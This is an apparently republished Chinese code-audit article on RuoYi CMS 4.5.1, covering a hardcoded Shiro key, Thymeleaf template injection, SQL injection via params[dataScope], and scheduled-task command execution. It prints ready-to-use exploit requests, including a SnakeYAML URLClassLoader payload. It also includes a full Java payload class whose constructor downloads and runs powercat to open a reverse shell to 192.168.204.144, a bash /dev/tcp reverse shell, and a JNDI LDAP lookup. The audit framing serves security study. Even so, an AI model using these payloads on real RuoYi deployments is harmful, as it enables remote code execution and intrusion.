产品介绍
RuoYi是一个后台管理系统,它主要基于经典技术(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)组合构建而成,主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量
环境搭建
产品源码:https://github.com/yangzongzhuan/RuoYi
DBName:ry
Username:Ruoyi
Password:Ry@123456
代码审计
Shiro反序列化
获取到源代码之后查看pom.xml文件发现其中引入了Shiro组件
C:UsersRedTeamDesktopRuoYi-4.5.1pom.xml
随后全局搜索"cipherKey"发现配置文件中硬编码了密钥信息——zSyK5Kp6PZAAjlT+eeNMlg==
C:UsersRedTeamDesktopRuoYi-4.5.1ruoyi-adminsrcmainresourcesapplication.yml
Thymeleaf模版注入
在获取到源代码之后查看pom.xml文件发现其中引入了thymeleaf组件且版本为2.0.0低版本
C:UsersRedTeamDesktopRuoYi-4.5.1pom.xml
随后全局搜索"::"来看那些位置可控,随后发现一处可控位置
C:UsersRedTeamDesktopRuoYi-4.5.1ruoyi-adminsrcmainjavacomruoyiwebcontrollerdemocontrollerDemoFormController.java
POST /demo/form/localrefresh/task
Host: 192.168.204.139:8090
Content-Length: 145
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/demo/form/localrefresh
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0f9d7684-4bc6-41ce-b7bb-7d1eea7c48ab
Connection: close
taskName=1&fragment=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x
SQLInjection安全问题
RuoYI CMS使用了Mybatis持久层框架,而在MyBatis中会使用XML或注解来配置和映射原生信息将接口和Java的POJOs(Plain Ordinary Java Object,普通的Java对象)映射成数据库中的记录,所以我们可以通过全局检索"${}"来确定未使用预编译的可疑位置,随后进行参数回溯分析来确定漏洞是否真实存在,简易示例如下:
POST /system/dept/list
Host: 192.168.204.139:8090
Content-Length: 40
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/system/dept
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=a49e98d9-1d37-4027-b218-41589e55a845
Connection: close
deptName=&status=0¶ms%5BdataScope%5D=
同样可以推导出其余的SQL注入点和载荷,下面仅给出一则:
功能位置:用户管理-用户查询
注入参数:params[dataScope]
POST /system/user/list
Host: 192.168.204.139:8090
Content-Length: 153
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.204.139:8090
Referer: http://192.168.204.139:8090/system/user
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=a49e98d9-1d37-4027-b218-41589e55a845
Connection: close
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=ry&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms%5BdataScope%5D=
计划任务任意命令执行
全局搜索"execute("关键词后发现在计划任务处存在一处调用点
在这里我们首先会想到的就是直接使用Java原生的java.lang.Runtime.getRuntim().exec("")来执行命令,然而想要通过Class.forName(beanName).newInstance()成功实例化,必须满足类至少有一个构造函数——无参且public,由于Runtime类的构造函数是private的,故而不满足条件,同样当我们想通过反射ProcessBuilder时,虽然可以在new ProcessBuilder的时候可以不加参数但是并不代表ProcessBuilder的构造函数是无参的,因此使用ProcessBuilder的payload也会报错,根据若依的定时任务代码,需要满足以下条件:
- 方法具有代码执行的潜力
-
类的构造函数无参且public
-
调用的方法的参数类型只能是String/int/long/double
在若依中的三方组件引入了snake,所以我们可以构造以下载荷进行利用:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://fo9aeu.dnslog.cn"]]]]')
反弹shell时我们可以通过一下方式来进行利用:
Step 1:下载yaml-payload
https://github.com/artsploit/yaml-payload
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
//Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.204.144/4444 0>&1"});
Runtime.getRuntime().exec("powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.204.144:1234/powercat.ps1');powercat -c 192.168.204.144 -p 4444 -e cmd");
} catch (IOException e) {
e.printStackTrace();
}
}
public String getEngineName() {
return null;
}
public String getEngineVersion() {
return null;
}
public List<String> getExtensions() {
return null;
}
public List<String> getMimeTypes() {
return null;
}
public List<String> getNames() {
return null;
}
public String getLanguageName() {
return null;
}
public String getLanguageVersion() {
return null;
}
public Object getParameter(String key) {
return null;
}
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
public String getOutputStatement(String toDisplay) {
return null;
}
public String getProgram(String... statements) {
return null;
}
public ScriptEngine getScriptEngine() {
return null;
}
}
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.204.144:1234/payload.jar"]]]]')
javax.naming.InitialContext.lookup('ldap://urlcx0.dnslog.cn')
文件上传导致XSS风险
通过全局检索fileupload定位到文件上传通用处理工具类位置:
文末小结
本篇文章主要站在代码审计角度对Ruoyi CMS从三方组件、配置文件、通用漏洞进行了代码审计并在其中融入了代码审计的一些思路和方法供大家一起探讨,当然在JAVA代码审计中也不仅限于上面的几个维度还有业务逻辑层面的问题更为重要尤其是针对与金融行业的企业来说,关于这一部分等后期有空再专门出一个关于业务逻辑层面的代码审计思路和方法~
原文始发于微信公众号(七芒星实验室):【代码审计】若依CMS 4.5.1代码审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论